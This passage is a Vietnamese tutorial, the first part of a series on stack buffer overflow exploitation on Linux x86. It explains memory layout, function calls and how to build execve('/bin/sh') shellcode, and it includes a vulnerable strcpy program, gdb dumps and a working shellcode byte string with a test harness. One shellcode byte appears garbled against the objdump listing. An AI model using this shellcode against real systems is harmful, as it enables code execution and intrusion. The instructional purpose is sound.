Tải bản đầy đủ (.pdf) (14 trang)

KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM - Phần 1 pdf

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (402.7 KB, 14 trang )

KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM
Tóm tắt :
Loạt bài viết này trình bày về tràn bộ đệm (buffer overflow) xảy ra trên stack và kỹ thuật khai
thác lỗi bảo mật phổ biến nhất này. Kỹ thuật khai thác lỗi tràn bộ đệm (buffer overflow exploit)
được xem là một trong những kỹ thuật hacking kinh điển nhất. Bài viết được chia làm 2 phần:
Phần 1: Tổ chức bộ nhớ, stack, gọi hàm, shellcode. Giới thiệu tổ chức bộ nhớ của một tiến trình
(process), các thao tác trên bộ nhớ stack khi gọi hàm và kỹ thuật cơ bản để tạo shellcode - đoạn
mã thực thi một giao tiếp dòng lệnh (shell).
Phần 2: Kỹ thuật khai thác lỗi tràn bộ đệm. Giới thiệu kỹ thuật tràn bộ đệm cơ bản, tổ chức
shellcode, xác định địa chỉ trả về, địa chỉ shellcode, cách truyền shellcode cho chương trình bị lỗi.
Các chi tiết kỹ thuật minh hoạ ở đây được thực hiện trên môi trường Linux x86 (kernel 2.2.20,
glibc-2.1.3), tuy nhiên về mặt lý thuyết có thể áp dụng cho bất kỳ môi trường nào khác. Người
đọc cần có kiến thức cơ bản về lập trình C, hợp ngữ (assembly), trình biên dịch gcc và công cụ
gỡ rối gdb (GNU Debugger).
Nếu bạn đã biết kỹ thuật khai thác lỗi tràn bộ đệm qua các tài liệu khác, bài viết này cũng có thể
giúp bạn củng cố lại kiến thức một cách chắc chắn hơn.
Phần 1: Tổ chức bộ nhớ, stack, gọi hàm, shellcode
Mục lục :
 Giới thiệu
 1. Tổ chức bộ nhớ
o 1.1 Tổ chức bộ nhớ của một tiến trình (process)
o 1.2 Stack
 2. Gọi hàm
o 2.1 Giới thiệu
o 2.2 Khởi đầu
o 2.3 Gọi hàm
o 2.3 Kết thúc
 3. Shellcode
o 3.1 Viết shellcode trong ngôn ngữ C
o 3.2 Giải mã hợp ngữ các hàm
o 3.3 Định vị shellcode trên bộ nhớ


o 3.4 Vấn đề byte giá trị null
o 3.5 Tạo shellcode

Giới thiệu
Để tìm hiểu chi tiết về lỗi tràn bộ đệm, cơ chế hoạt động và cách khai thác lỗi ta hãy bắt đầu
bằng một ví dụ về chương trình bị tràn bộ đệm.
/* vuln.c */
int main(int argc, char **argv)
{
char buf[16];
if (argc>1) {
strcpy(buf, argv[1]);
printf("%s\n", buf);
}
}

[SkZ0@gamma bof]$ gcc -o vuln -g vuln.c
[SkZ0@gamma bof]$ ./vuln AAAAAAAA // 8 ký tự A (1)
AAAAAAAA
[SkZ0@gamma bof]$ ./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA // 24 ký
tự A (2)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
Chạy chương trình vuln với tham số là chuỗi dài 8 ký tự A (1), chương trình hoạt động bình
thường. Với tham số là chuỗi dài 24 ký tự A (2), chương trình bị lỗi Segmentation fault. Dễ thấy
bộ đệm buf trong chương trình chỉ chứa được tối đa 16 ký tự đã bị làm tràn bởi 24 ký tự A.
[SkZ0@gamma bof]$ gdb vuln -c core -q
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6 done.

Reading symbols from /lib/ld-linux.so.2 done.
#0 0x41414141 in ?? ()
(gdb) info register eip
eip 0x41414141 1094795585
(gdb)
Thanh ghi eip - con trỏ lệnh hiện hành - có giá trị 0x41414141, tương đương 'AAAA' (ký tự A có
giá trị 0x41 hexa). Ta thấy, có thể thay đổi giá trị của thanh ghi con trỏ lệnh eip bằng cách làm
tràn bộ đệm buf. Khi lỗi tràn bộ đệm đã xảy ra, ta có thể khiến chương trình thực thi mã lệnh tuỳ
ý bằng cách thay đổi con trỏ lệnh eip đến địa chỉ bắt đầu của đoạn mã lệnh đó.
Để hiểu rõ quá trình tràn bộ đệm xảy ra như thế nào, chúng ta sẽ xem xét chi tiết tổ chức bộ
nhớ, stack và cơ chế gọi hàm của một chương trình.

1. Tổ chức bộ nhớ
1.1 Tổ chức bộ nhớ của một tiến trình (process)

Mỗi tiến trình thực thi đều được hệ điều hành cấp cho một không gian bộ nhớ ảo (logic) giống
nhau. Không gian nhớ này gồm 3 vùng: text, data và stack. Ý nghĩa của 3 vùng này như sau:
Vùng text là vùng cố định, chứa các mã lệnh thực thi (instruction) và dữ liệu chỉ đọc (read-only).
Vùng này được chia sẻ giữa các tiến trình thực thi cùng một file chương trình và tương ứng với
phân đoạn text của file thực thi. Dữ liệu ở vùng này là chỉ đọc, mọi thao tác nhằm ghi lên vùng
nhớ này đều gây lỗi
segmentation violation
.
Vùng data chứa các dữ liệu đã được khởi tạo hoặc chưa khởi tạo giá trị. Các biến toàn cục và
biến tĩnh được chứa trong vùng này. Vùng data tương ứng với phân đoạn data-bss của file thực
thi.
Vùng stack là vùng nhớ được dành riêng khi thực thi chương trình dùng để chứa giá trị các biến
cục bộ của hàm, tham số gọi hàm cũng như giá trị trả về. Thao tác trên bộ nhớ stack được thao
tác theo cơ chế
"vào sau ra trước"

- LIFO (Last In, First Out) với hai lệnh quan trọng nhất là
PUSH và POP. Trong phạm vi bài viết này, chúng ta chỉ tập trung tìm hiểu về vùng stack.
1.2 Stack
Stack là một kiểu cấu trúc dữ liệu trừu tượng cấp cao được dùng cho các thao tác đặc biệt dạng
LIFO.

Tổ chức của vùng stack gồm các stack frame được push vào khi gọi một hàm và pop ra khỏi
stack khi trở về. Một stack frame chứa các thông số cần thiết cho một hàm: biến cục bộ, tham số
hàm, giá trị trả về; và các dữ liệu cần thiết để khôi phục stack frame trước đó, kể cả giá trị của
con trỏ lệnh (instruction pointer) vào thời điểm gọi hàm.
Địa chỉ đáy của stack được gán một giá trị cố định. Địa chỉ đỉnh của stack được lưu bởi thanh ghi
"con trỏ stack"
(ESP –
extended stack pointer
). Tuỳ thuộc vào hiện thực, stack có thể phát triển
theo hướng địa chỉ nhớ từ cao xuống thấp hoặc từ thấp lên cao. Trong các ví dụ về sau, chúng ta
sử dụng stack có địa chỉ nhớ phát triển từ cao xuống thấp, đây là hiện thực của kiến trúc Intel.
Con trỏ stack (SP) cũng phụ thuộc vào kiến trúc hiện thực. Nó có thể trỏ đến địa chỉ cuối cùng
trên đỉnh stack hoặc địa chỉ vùng nhớ trống kế tiếp trên stack. Trong các minh hoạ về sau (với
kiến trúc Intel x86), SP trỏ đến địa chỉ cuối cùng trên đỉnh stack.
Về lý thuyết, các biến cục bộ trong một stack frame có thể được truy xuất dựa vào độ dời
(offset) so với SP. Tuy nhiên khi có các thao tác thêm vào hay lấy ra trên stack, các độ dời này
cần phải được tính toán lại, làm giảm hiệu quả. Để tăng hiệu quả, các trình biên dịch sử dụng
một thanh ghi thứ hai gọi là
"con trỏ nền"
(EBP –
extended base pointer
) hay còn gọi là
"con trỏ
frame"

(FP –
frame pointer
). FP trỏ đến một giá trị cố định trong một stack frame, thường là giá
trị đầu tiên của stack frame, các biến cục bộ và tham số được truy xuất qua độ dời so với FP và
do đó không bị thay đổi bởi các thao tác thêm/bớt tiếp theo trên stack.
Đơn vị lưu trữ cơ bản trên stack là word, có giá trị bằng 32 bit (4 byte) trên các CPU Intel x86.
(Trên các CPU Alpha hay Sparc giá trị này là 64 bit). Mọi giá trị biến được cấp phát trên stack
đều có kích thước theo bội số của word.
Thao tác trên stack được thực hiện bởi 2 lệnh máy:
 push value: đưa giá trị ‘value’ vào đỉnh của stack. Giảm giá trị của %esp đi 1 word và đặt
giá trị ‘value’ vào word đó.
 pop dest: lấy giá trị từ đỉnh stack đưa vào ‘dest’. Đặt giá trị trỏ bởi %esp vào ‘dest’ và
tăng giá trị của %esp lên 1 word.

2. Hàm và gọi hàm
2.1 Giới thiệu
Để giải thích hoạt động của chương trình khi gọi hàm, chúng ta sẽ sử dụng đoạn chương trình ví
dụ sau:
/* fct.c */
void toto(int i, int j)
{
char str[5] = "abcde";
int k = 3;
j = 0;
return;
}

int main(int argc, char **argv)
{
int i = 1;

toto(1, 2);
i = 0;
printf("i=%d\n",i);
}
Quá trình gọi hàm có thể được chia làm 3 bước:
1. Khởi đầu (prolog): trước khi chuyển thực thi cho một hàm cần chuẩn bị một số công
việc như lưu lại trạng thái hiện tại của stack, cấp phát vùng nhớ cần thiết để thực thi.
2. Gọi hàm (call): khi hàm được gọi, các tham số được đặt vào stack và con trỏ lệnh (IP –
instruction pointer
) được lưu lại để cho phép chuyển quá trình thực thi đến đúng điểm
sau gọi hàm.
3. Kết thúc (epilog): khôi phục lại trạng thái như trước khi gọi hàm.
2.2 Khởi đầu
Một hàm luôn được khởi đầu với các lệnh máy sau:
push %ebp
mov %esp,%ebp
sub $0xNN,%esp // (giá trị 0xNN phụ thuộc vào từng hàm cụ thể)
3 lệnh máy này được gọi là bước khởi đầu (prolog) của hàm. Hình sau giải thích bước khởi đầu
của hàm toto() và giá trị của các thanh ghi %esp, %ebp.
Hình 1: Bước khởi đầu của hàm

Giả sử ban đầu
%ebp
trỏ đến địa chỉ X bất kỳ trên bộ nhớ,
%esp
trỏ đến một địa chỉ Y thấp
hơn bên dưới. Trước khi chuyển vào một hàm, cần phải lưu lại môi trường của stack frame hiện
tại, do mọi giá trị trong một stack frame đều có thể được tham khảo qua %ebp, ta chỉ cần lưu
%ebp
là đủ. Vì

%ebp
được
push
vào stack, nên
%esp
sẽ giảm đi 1 word. Giá trị
%ebp
được
push vào stack này được gọi là "con trỏ nền bảo lưu" (SFP - saved frame pointer).


Lệnh máy thứ hai sẽ thiết lập một môi trường mới bằng cách đặt
%ebp
trỏ đến đỉnh của stack
(giá trị đầu tiên của một stack frame), lúc này %ebp và %esp sẽ trỏ cùng đến một vị trí có địa
chỉ là (Y-1word).


L
ệnh máy thứ ba cấp phát vùng nhớ dành cho biến cục b
ộ. Mảng ký tự có
đ
ộ dài 5 byte, tuy
nhiên stack sử dụng đơn vị lưu trữ là word, do đó vùng nhớ được cấp cho mảng ký tự sẽ là một
bội số của word sao cho lớn hơn hoặc bằng kích thước của mảng. Dễ thấy giá trị đó là 8 byte (2
word). Biến k kiểu nguyên có kích thước 4 byte, vì vậy kích thước vùng nhớ dành cho biến cục
bộ sẽ là 8+4=12 byte (3 word), được cấp phát bằng cách giảm %esp đi một giá trị 0xc (bằng 12
trong hệ cơ số 16).

Một điều cần lưu ý ở đây là biến cục bộ luôn có độ dời âm so với con trỏ nền %ebp. Lệnh máy

thực hiện phép gán i=0 trong hàm main() có thể minh hoạ điều này. Mã hợp ngữ dùng định vị
gián tiếp để xác định vị trí của i:
movl $0x0,0xfffffffc(%ebp)
0xfffffffc tương đương giá trị số nguyên bằng –4. Lệnh trên có nghĩa: đặt giá trị 0 vào biến ở địa
chỉ có độ dời “-4” byte so với thanh ghi %ebp. i là biến đầu tiên trong hàm main() và có địa chỉ
cách 4 byte ngay dưới %ebp.

2.3 Gọi hàm
Cũng giống như bước khởi đầu, bước này cũng chuẩn bị môi trường cho phép nơi gọi hàm truyền
các tham số cho hàm được gọi và trở về lại nơi gọi hàm khi kết thúc.

Trư
ớc khi gọi hàm các tham số sẽ
đư
ợc
đ
ặt vào
stack, theo thứ tự ngược lại, tham số cuối cùng sẽ
được đặt vào trước. Trong ví dụ trên, trước tiên các
giá trị 1 và 2 sẽ được đặt vào stack. Thanh ghi %eip
giữ giá trị địa chỉ của lệnh kế tiếp, trong trường hợp
này là chỉ thị gọi hàm.

Khi thực hiện lệnh call,
%eip
sẽ lấy giá trị đ
ịa chỉ của
kế tiếp ngay sau gọi hàm (trên hình vẽ, giá trị này là
Z+5 do lệnh gọi hàm chiếm 5 byte theo hiện thực của
CPU Intel x86). Lệnh call sau đó sẽ lưu lại giá trị của

%eip để có thể tiếp tục thực thi sau khi trở về. Quá
trình này được thực hiện bằng một lệnh ngầm (không
tường minh) đặt %eip lên stack:
push %eip
Giá trị lưu trên stack này được gọi là "con trỏ lệnh
bảo lưu" (SIP – save instruction pointer), hay "địa
chỉ trả về" (RET – return address).
Giá tr

đư
ợc truyền nh
ư m
ột tham số cho lệnh call
chính là địa chỉ của lệnh khởi đầu (prolog) đầu tiên
của hàm toto(). Giá trị này sẽ được chép vào %eip
và trở thành lệnh được thực thi tiếp theo.

Lưu ý rằng khi ở bên trong một hàm, các tham số và địa chỉ trả về có độ dời dương (+) so với
con trỏ nền %ebp. Lệnh máy thực hiện phép gán j=0 minh hoạ điều này. Mã hợp ngữ sử dụng
định vị gián tiếp để truy xuất biến j:
movl $0x0,0xc(%ebp)
0xc có giá trị số nguyên bằng 12. Lệnh trên có nghĩa: đặt giá trị 0 vào biến ở địa chỉ có độ dời
“+12” byte so với %ebp. j là tham số thứ 2 của hàm toto() và có địa chỉ cách 12 byte ngay trên
%ebp (4 cho RET, 4 cho tham số đầu tiên và 4 cho tham số thứ 2).
2.4 Kết thúc
Thoát khỏi một hàm được thực hiện trong 2 bước. Trước tiên, môi trường tạo ra cho hàm thực
thi cần được "dọn dẹp" (nghĩa là khôi phục giá trị cho %ebp và %eip). Sau đó, chúng ta phải
kiểm tra stack để lấy các thông tin liên quan đến hàm vừa thoát ra.
Bước thứ nhất được thực hiện trong bên trong hàm với 2 lệnh:
leave

ret
Bước kế tiếp được thực hiện nơi gọi hàm sẽ "dọn dẹp" vùng stack dùng chứa các tham số của
hàm được gọi.
Chúng ta sẽ tiếp tục ví dụ trên với hàm toto().
Hình 3 : Trở về

đây chúng ta mô t
ả lại
đ
ầy
đ
ủ h
ơn t
ình hu
ống ban
đ
ầu,
trước lệnh call và bước khởi đầu (prolog). Trước khi
lệnh call xảy ra, %ebp ở địa chỉ X và %esp ở địa chỉ Y
trên stack. Bắt đầu từ Y, chúng ta sẽ cấp phát các vùng
nhớ dành cho tham số, giá trị bảo lưu của %eip và
%ebp, và vùng nhớ dành cho các biến cục bộ của hàm.
Lệnh sẽ được thực thi kế tiếp là leave, lệnh này tương
đương với 2 lệnh sau:
mov %ebp, %esp
pop %ebp


Lệnh đầu tiên sẽ đưa
%esp


%ebp trỏ đ
ến cùng vị trí hiện tại của
%ebp. Lệnh thứ hai lấy ra giá trị
trên đỉnh stack đặt vào thanh ghi
%ebp. Ta thấy, sau lệnh leave,
stack trở lại trạng thái như trước khi
xảy ra bước khởi đầu (prolog).

Lệnh
ret
sẽ khôi phục giá trị
%eip
để nơi gọi hàm trở lại
tiếp tục thực thi lệnh kế, là lệnh ngay sau hàm vừa thoát
ra. Để làm điều này, giá trị ngay trên đỉnh stack sẽ được
lấy ra đặt vào thanh ghi %eip.
Chúng ta vẫn chưa trở lại được tình trạng ban đầu do các
tham số truyền cho hàm vẫn còn chưa được dọn khỏi
stack. Chúng sẽ được xoá đi trong lệnh kế tiếp ở địa chỉ
Z+5 được lưu trong %eip.

Vi
ệc cấp phát và thu hồi vùng stack của các tham số hàm
được thực hiện nơi gọi hàm. Điều này được minh hoạ
trên hình bên với lệnh:
add 0x8, %esp
Lệnh này sẽ dời %esp từ đỉnh stack với số byte bằng số
byte được cấp cho các tham số của hàm toto(). Thanh
ghi %ebp và %esp lúc này giống với tình trạng trước

khi lệnh gọi xảy ra. Tuy nhiên giá trị của thanh ghi %eip
đã được chuyển đến lệnh kế tiếp.

Biên dịch và giải hợp ngữ chương trình minh hoạ trên với gdb để xem mã hợp ngữ tương ứng với
các bước đã trình bày.
[SkZ0@gamma bof]$ gcc -g -o fct fct.c
[SkZ0@gamma bof]$ gdb fct -q
(gdb)disassemble main //hàm main
Dump of assembler code for function main:

0x80483e0 : push %ebp //bước khởi đầu - prolog
0x80483e1 : mov %esp,%ebp
0x80483e3 : sub $0x4,%esp

0x80483e6 : movl $0x1,0xfffffffc(%ebp)

0x80483ed : push $0x2 //gọi hàm - call
0x80483ef : push $0x1
0x80483f1 : call 0x80483b4


0x80483f6 : add $0x8,%esp //trở về từ hàm toto()

0x80483f9 : movl $0x0,0xfffffffc(%ebp)
0x8048400 : mov 0xfffffffc(%ebp),%eax

0x8048403 : push %eax //gọi hàm - call
0x8048404 : push $0x804846e
0x8048409 : call 0x8048308



0x804840e : add $0x8,%esp //trở về từ hàm printf()
0x8048411 : leave //trở về từ hàm main()
0x8048412 : ret

0x8048413 : nop
End of assembler dump.
(gdb) disassemble toto //hàm toto
Dump of assembler code for function toto:

0x80483b4 : push %ebp //bước khởi đầu - prolog
0x80483b5 : mov %esp,%ebp
0x80483b7 : sub $0xc,%esp

0x80483ba : mov 0x8048468,%eax
0x80483bf : mov %eax,0xfffffff8(%ebp)
0x80483c2 : mov 0x804846c,%al
0x80483c8 : mov %al,0xfffffffc(%ebp)
0x80483cb : movl $0x3,0xfffffff4(%ebp)
0x80483d2 : movl $0x0,0xc(%ebp)
0x80483d9 : jmp 0x80483dc
0x80483db : nop

0x80483dc : leave //trở về từ hàm toto()
0x80483dd : ret

0x80483de : mov %esi,%esi
End of assembler dump.
(gdb)


3. Shellcode
Khi tràn bộ đệm xảy ra, ta có thể thao tác trên stack, ghi đè giá trị trả về RET và khiến chương
trình thực thi mã lệnh bất kỳ. Thông thường và đơn giản nhất là khiến chương trình thực thi một
đoạn mã để chạy một giao tiếp dòng lệnh shell. Vì sẽ được chèn trực tiếp vào giữa bộ nhớ
chương trình để thực thi tiếp nên đoạn mã này phải được viết ở dạng hợp ngữ. Những đoạn mã
chương trình kiểu này thường được gọi là shellcode.
3.1 Viết shellcode trong ngôn ngữ C
Mục đích của shellcode là để thực thi một giao tiếp dòng lệnh shell. Trước tiên hãy viết ở ngôn
ngữ C:
/* shellcode.c */
#include
#include

int main()
{
char * name[] = {"/bin/sh", NULL};
execve(name[0], name, NULL);
_exit (0);
}
Trong số các hàm dạng exec() được dùng để gọi thực thi một chương trình khác, execve() là
hàm nên dùng. Lý do: execve() là hàm hệ thống (system-call) khác với các hàm exec() khác
được hiện thực trong libc (và do đó cũng được hiện thực dựa trên execve()). Hàm hệ thống được
thực hiện thông qua gọi ngắt với các giá trị tham số đặt trong thanh ghi định trước, do đó mã
hợp ngữ tạo ra sẽ ngắn gọn.
Hơn nữa, nếu gọi execve() thành công, chương trình gọi sẽ được thay thế bởi chương trình được
gọi và xem như mới bắt đầu quá trình thực thi. Nếu gọi execve() không thành công, chương trình
gọi sẽ tiếp tục quá trình thực thi. Khi khai thác lỗ hổng, đoạn mã shellcode sẽ được chèn vào
giữa quá trình thực thi của chương trình bị lỗi. Sau khi đã chạy các mã lệnh theo ý muốn, việc
tiếp tục quá trình thực thi của chương trình là không cần thiết và đôi khi gây ra những kết quả
ngoài ý muốn do nội dung của stack đã bị làm thay đổi. Vì vậy, quá trình thực thi cần được kết

thúc ngay khi có thể. Ở đây chúng ta sử dụng _exit() để kết thúc thay vì dùng exit() là hàm thư
viện libc được hiện thực dựa trên hàm hệ thống _exit().
Hãy ghi nhớ các tham số để truyền cho hàm execve() trên:
 chuỗi /bin/sh
 địa chỉ của mảng tham số (kết thúc bằng con trỏ NULL)
 địa chỉ của mảng biến môi trường (ở đây là con trỏ NULL)
3.2 Giải mã hợp ngữ các hàm
Biên dịch shellcode.c với option debug và static để tích hợp các hàm được liên kết qua thư viện
động vào trong chương trình.
[SkZ0@gamma bof]$ gcc -o shellcode shellcode.c -O2 -g static
Bây giờ hãy xem xét mã hợp ngữ của hàm main() bằng gdb.
[SkZ0@gamma bof]$ gdb shellcode -q
(gdb) disassemble main
Dump of assembler code for function main:
0x804818c : push %ebp
0x804818d : mov %esp,%ebp
0x804818f : sub $0x8,%esp
0x8048192 : movl $0x0,0xfffffff8(%ebp)
0x8048199 : movl $0x0,0xfffffffc(%ebp)
0x80481a0 : mov $0x806f388,%edx
0x80481a5 : mov %edx,0xfffffff8(%ebp)
0x80481a8 : push $0x0
0x80481aa : lea 0xfffffff8(%ebp),%eax
0x80481ad : push %eax
0x80481ae : push %edx
0x80481af : call 0x804c6ec <__execve>
0x80481b4 : push $0x0
0x80481b6 : call 0x804c6d0 <_exit>
End of assembler dump.
(gdb)

Để ý lệnh sau:
0x80481a0 : mov $0x806f388,%edx
Lệnh này chuyển một giá trị địa chỉ nhớ vào thanh ghi %edx.
(gdb) printf "%s\n", 0x806f388
/bin/sh
(gdb)
Như vậy địa chỉ chuỗi "/bin/sh" sẽ được đặt vào thanh ghi %edx. Trước khi gọi các hàm thấp
hơn của thư viện C hiện thực hàm hệ thống execve() các tham số được đặt vào stack theo thứ
tự:
 con trỏ NULL
0x80481a8 : push $0x0
 địa chỉ của mảng tham số
0x80481aa : lea 0xfffffff8(%ebp),%eax
0x80481ad : push %eax
 địa chỉ của chuỗi /bin/sh
0x80481ae : push %edx
Hãy xem các hàm execve() và _exit()
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804c6ec <__execve>: push %ebp
0x804c6ed <__execve+1>: mov %esp,%ebp
0x804c6ef <__execve+3>: push %edi
0x804c6f0 <__execve+4>: push %ebx
0x804c6f1 <__execve+5>: mov 0x8(%ebp),%edi
0x804c6f4 <__execve+8>: mov $0x0,%eax
0x804c6f9 <__execve+13>: test %eax,%eax
0x804c6fb <__execve+15>: je 0x804c702 <__execve+22>
0x804c6fd <__execve+17>: call 0x0
0x804c702 <__execve+22>: mov 0xc(%ebp),%ecx
0x804c705 <__execve+25>: mov 0x10(%ebp),%edx

0x804c708 <__execve+28>: push %ebx
0x804c709 <__execve+29>: mov %edi,%ebx
0x804c70b <__execve+31>: mov $0xb,%eax
0x804c710 <__execve+36>: int $0x80
0x804c712 <__execve+38>: pop %ebx
0x804c713 <__execve+39>: mov %eax,%ebx
0x804c715 <__execve+41>: cmp $0xfffff000,%ebx
0x804c71b <__execve+47>: jbe 0x804c72b <__execve+63>
0x804c71d <__execve+49>: call 0x80482b8 <__errno_location>
0x804c722 <__execve+54>: neg %ebx
0x804c724 <__execve+56>: mov %ebx,(%eax)
0x804c726 <__execve+58>: mov $0xffffffff,%ebx
0x804c72b <__execve+63>: mov %ebx,%eax
0x804c72d <__execve+65>: lea 0xfffffff8(%ebp),%esp
0x804c730 <__execve+68>: pop %ebx
0x804c731 <__execve+69>: pop %edi
0x804c732 <__execve+70>: leave
0x804c733 <__execve+71>: ret
End of assembler dump.
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x804c6d0 <_exit>: mov %ebx,%edx
0x804c6d2 <_exit+2>: mov 0x4(%esp,1),%ebx
0x804c6d6 <_exit+6>: mov $0x1,%eax
0x804c6db <_exit+11>: int $0x80
0x804c6dd <_exit+13>: mov %edx,%ebx
0x804c6df <_exit+15>: cmp $0xfffff001,%eax
0x804c6e4 <_exit+20>: jae 0x804ca80 <__syscall_error>
End of assembler dump.
(gdb) quit

Hệ điều hành sẽ thực hiện một lệnh call bằng cách gọi ngắt 0x80, ở các địa chỉ 0x804c710 cho
execve() và 0x804c6db cho _exit(). Các địa chỉ này thường không giống nhau đối với mỗi hàm hệ
thống, đặc điểm để phân biệt chính là nội dung thanh ghi %eax. Xem ở trên, giá trị này là 0xb
với execve() trong khi _exit() là 0x1.
Phân tích mã hợp ngữ trên chúng ta rút ra một số kết luận sau:
 trước khi gọi thực thi hàm __execve() bằng gọi ngắt 0x80:
o thanh ghi %edx giữ giá trị địa chỉ của mảng biến môi trường:
0x804c705 <__execve+25>: mov 0x10(%ebp),%edx
Để đơn giản, chúng ta sẽ sử dụng biến môi trường rỗng bằng cách gán giá trị
này bằng một con trỏ NULL.
o thanh ghi %ecx giữ giá trị địa chỉ của mảng tham số
0x804c702 <__execve+22>: mov 0xc(%ebp),%ecx
Tham số đầu tiên phải là tên của chương trình, ở đây dơn giản chỉ là một mảng
dùng để chứa địa chỉ của chuỗi "/bin/sh" và kết thúc bằng một con trỏ NULL.
o thanh ghi %ebx giữ địa chỉ của chuỗi tên chương trình cần thực thi, trong trường
hợp này là "/bin/sh"
0x804c6f1 <__execve+5>: mov 0x8(%ebp),%edi

0x804c709 <__execve+29>: mov %edi,%ebx

 hàm _exit(): kết thúc quá trình thực thi, mã kết quả trả về cho quá trình cha (thường là
shell) được lưu trong thanh ghi %ebx
0x804c6d2 <_exit+2>: mov 0x4(%esp,1),%ebx
Để hoàn tất việc tạo mã hợp ngữ, chúng ta cần một nơi chứa chuỗi "/bin/sh", một con trỏ đến
chuỗi này và một con trỏ NULL (để kết thúc mảng tham số, đồng thời là con trỏ biến môi
trường). Những dữ liệu trên phải được chuẩn bị trước khi thực thiện gọi execve().
3.3 Định vị shellcode trên bộ nhớ
Thông thường shellcode sẽ được chèn vào chương trình bị lỗi thông qua tham số dòng lệnh, biến
môi trường hay chuỗi nhập từ bàn phím/file. Dù bằng cách nào thì khi tạo shellcode chúng ta
cũng không thể biết được địa chỉ của nó. Không những thế chúng ta còn buộc phải biết trước địa

chỉ chuỗi "/bin/sh". Tuy nhiên, bằng một số thủ thuật chúng ta có thể giải quyết được trở ngại
đó. Có hai cách để định vị shellcode trên bộ nhớ, tất cả đều thông qua định vị gián tiếp để đảm
bảo tính độc lập. Để đơn giản, ở đây chúng ta sẽ trình bày cách định vị shellcode dùng stack.
Để chuẩn bị mảng tham số và con trỏ biến môi trường cho hàm execve(), chúng ta sẽ đặt trực
tiếp chuỗi "/bin/sh", con trỏ NULL lên stack và xác định địa chỉ thông qua giá trị thanh ghi %esp.
Mã hợp ngữ sẽ có dạng sau:
beginning_of_shellcode:
pushl $0x0 // giá trị null kết thúc chuỗi /bin/sh
pushl "/bin/sh" // chuỗi /bin/sh
movl %esp,%ebx // %ebx chứa địa chỉ /bin/sh
push NULL // con trỏ NULL của mảng tham số

(mã hợp ngữ của shellcode)
3.4 Vấn đề byte giá trị null
Các hàm bị lỗi thường là các hàm xử lý chuỗi như strcpy(), scanf(). Để chèn được mã lệnh vào
giữa chương trình, shellcode phải được chép vào dưới dạng một chuỗi. Tuy nhiên, các hàm xử lý
chuỗi sẽ hoàn tất ngay khi gặp một ký tự null (\0). Do đó, shellcode của chúng ta phải không
được chứa bất kỳ giá trị null nào. Ta sẽ sử dụng một số thủ thuật để loại bỏ giá trị null, ví dụ
lệnh:
push $0x00
Sẽ được thay thế tương đương bằng:
xorl %eax, %eax
push %eax
Đó là cách xử lý các null byte trực tiếp. Giá trị null còn phát sinh khi chuyển các mã lệnh sang
dạng hexa. Ví dụ, lệnh chuyển giá trị 0x1 vào thanh ghi %eax để gọi _exit():
0x804c6d6 <_exit+6>: mov $0x1,%eax
Chuyển sang dạng hexa sẽ thành chuỗi:
b8 01 00 00 00 mov $0x1,%eax
Thủ thuật sử dụng là khởi tạo giá trị cho %eax bằng một thanh ghi có giá trị 0, sau đó tăng nó
lên 1 (hoặc cũng có thể dùng lệnh movb thao tác trên 1 byte thấp của %eax)

31 c0 xor %eax,%eax
40 inc %eax
3.5 Tạo shellcode
Chúng ta đã có đầy đủ những gì cần thiết để tạo shellcode. Chương trình tạo shellcode:
/* shellcode_asm.c */
int main()
{
asm("
/* push giá trị null kết thúc /bin/sh vào stack */
xorl %eax,%eax
pushl %eax
/* push chuỗi /bin/sh vào stack */
pushl $0x68732f2f /* chuỗi //sh, độ dài 1 word */
pushl $0x6e69622f /* chuỗi /bin */
/* %ebx chứa địa chỉ chuỗi /bin/sh */
movl %esp, %ebx
/* push con trỏ NULL, phần tử thứ hai của mảng tham số */
pushl %eax
/* push địa chỉ của /bin/sh, phần tử thứ hai của mảng tham số */
pushl %ebx
/* %ecx chứa địa chỉ mảng tham số */
movl %esp,%ecx
/* %edx chứa địa chỉ mảng biến môi trường, con trỏ NULL */
/* có thể dùng lệnh tương đương cdq, ngắn hơn 1 byte */
movl %eax, %edx
/* Hàm execve(): %eax = 0xb */
movb $0xb,%al
/* Gọi hàm */
int $0x80


/* Giá trị trả về 0 cho hàm _exit() */
xorl %ebx,%ebx
/* Hàm _exit(): %eax = 0x1 */
movl %ebx,%eax
inc %eax
/* Gọi hàm */
int $0x80
");
}
Dịch shellcode trên và dump ở dạng hợp ngữ:
[SkZ0@gamma bof]$ gcc -o shellcode_asm shellcode_asm.c
[SkZ0@gamma bof]$ objdump -d shellcode_asm | grep \: -A 17
08048380 :
8048380: 55 pushl %ebp
8048381: 89 e5 movl %esp,%ebp
8048383: 31 c0 xorl %eax,%eax
8048385: 50 pushl %eax
8048386: 68 2f 2f 73 68 pushl $0x68732f2f
804838b: 68 2f 62 69 6e pushl $0x6e69622f
8048390: 89 e3 movl %esp,%ebx
8048392: 50 pushl %eax
8048393: 53 pushl %ebx
8048394: 89 e1 movl %esp,%ecx
8048396: 89 c2 movl %eax,%edx
8048398: b0 0b movb $0xb,%al
804839a: cd 80 int $0x80
804839c: 31 db xorl %ebx,%ebx
804839e: 31 c0 xorl %eax,%eax
80483a0: 40 incl %eax
80483a1: cd 80 int $0x80


Hãy chạy thử shellcode trên:
/* testsc.c */
char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\xcd\x80";

int main()
{
int * ret;

/* ghi đè giá trị bảo lưu %eip trên stack bằng địa chỉ shellcode */
/* khoảng cách so với biến ret là 8 byte (2 word): */
/* - 4 byte cho biến ret */
/* - 4 byte cho giá trị bảo lưu %ebp */
* ((int *) & ret + 2) = (int) shellcode;
return (0);
}
Chạy thử chương trình testsc:
[SkZ0@gamma bof]$ gcc testsc.c -o testsc
[SkZ0@gamma bof]$ ./testsc
bash$ exit
[SkZ0@gamma bof]$
